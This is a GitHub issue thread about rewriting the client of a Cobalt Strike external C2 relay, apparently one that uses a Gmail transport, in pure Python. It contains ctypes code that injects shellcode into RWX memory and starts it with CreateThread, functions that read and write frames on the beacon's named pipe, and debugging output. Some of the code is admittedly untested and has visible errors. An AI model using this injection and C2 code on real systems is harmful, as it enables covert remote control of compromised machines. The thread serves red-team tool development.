Create a client that is a full python implementation
Und3rf10w opened this issue · comments
Currently, the client relies on a dll to be distributed with it that it calls with ctypes
to write and read from the beacon pipe, and inject the process.
This could all probably be done entirely with the ctypes
library in python.
For example, the stager injection process currently looks like this:
DWORD length = (DWORD) pylen;
char * payloadE = VirtualAlloc(0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(payloadE, payload, length);
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) payloadE, (LPVOID) NULL, 0, NULL);
Something similar could be entirely in python as so:
import ctypes
def injectStager(stager_payload):
shellcode = bytearray(stager_payload)
ptr = ctypes.windll.kernel31.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x300), # MEM_COMMIT?
ctypes.c_int(0x40)) #PAGE_EXECUTE_READWRITE?
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode)))
ctypes.windll.kernel32.CreateThread(None,
ctypes.c_int(0),
ctypes.c_int(ptr),
None,
ctypes.c_int(0),
None)
Ideally, the read_frame
, write_frame
, and creation of the beacon named pipe would be reimplemented in this manner as well.
Here's some untested possible code to use:
import ctypes
MAXLEN = 1024*1024
# Open file handle to the beacon
def open_handle():
handle_beacon = ctypes.windll.kernel32.CreateFileA("\\\\.\\pipe\\foobar", GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, SECURITY_SQOS_PRESENT | SECURITY_ANONYMOUS, None)
return handle_beacon
# Inject the shellcode
def injectBeacon(payload):
# lib.start_beacon(payload,len(payload))
payloadPtr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(payload)),
ctypes.c_int(0x1000), # MEM_COMMIT
ctypes.c_int(0x40)) # PAGE_EXECUTE_READWRITE
ctypes.memmove(ctypes.addressof(payloadPtr), payload, ctypes.c_int(len(payload)))
ctypes.windll.kernel32.CreateThread(None, 0, ctypes.c_int(payloadPtr), None, 0, None)
# Read the frame
def ReadFrame(handle_beacon):
mem = ctypes.create_string_buffer(MAXLEN)
# lib.read_frame(hPipe,mem,MAXLEN)
temp = 0
total = 0
# DWORD size = 0, temp = 0, total = 0;
size = ctypes.windll.kernel32.ReadFile(handle_beacon, mem, 4, ctypes.byref(temp), None)
while (total < size):
# sleep(3)
ctypes.windll.kernel32.ReadFile(handle_beacon, mem + total, size - total, ctypes.byref(temp), None)
total += temp
return size
# Write the frame
def WriteFrame(handle_beacon, chunk):
# ret = lib.write_frame(hPipe, c_char_pipe(chunk), c_int(len(chunk)))
wrote = 0
# Write the size of the frame
ctypes.windll.kernel32.WriteFile(handle_beacon, ctypes.c_int(len(chunk)), 4, ctypes.byref(wrote), None)
# Return the written data
return ctypes.windll.kernel32.WriteFile(handle_beacon, ctypes.c_char_pipe(chunk), ctypes.c_int(len(chunk)), ctypes.byref(wrote), None)
Need to test and debug.
Getting very close with the changes introduced in eb9a919. I'm having an issue where the beacon process keeps dying before I'm able to read a second frame. I can successfully get metadata, but once I write an empty task to the beacon, it seems to die before I can read the next frame.
Here's the client side output for more info:
Waiting for stager...
['502']
Got a stager! loading...
Loaded, and got handle to beacon. Getting METADATA.
Received 132 bytes from pipe
relaying chunk to server
Checking for new tasks from transport
['504']
Got new task:
Writing 1 bytes to pipe
Writing to pipe:
Traceback (most recent call last):
File "C:\Users\xxxxxxxx\Downloads\gmail_client.py", line 224, in <module>
interact(handle_beacon)
File "C:\Users\xxxxxxxx\Downloads\gmail_client.py", line 194, in interact
chunk = ReadPipe(handle_beacon)
File "C:\Users\xxxxxxxx\Downloads\gmail_client.py", line 157, in ReadPipe
return read_frame(handle)
File "C:\Users\xxxxxxxx\Downloads\gmail_client.py", line 151, in read_frame
result, size = win32file.ReadFile(handle, 4, None)
error: (233, 'ReadFile', 'No process is on the other end of the pipe.')
Obviously, I know that the read_frame()
function works because it's reading and relaying the metadata properly... No clue why I'm getting 'No process is on the other end of the pipe.'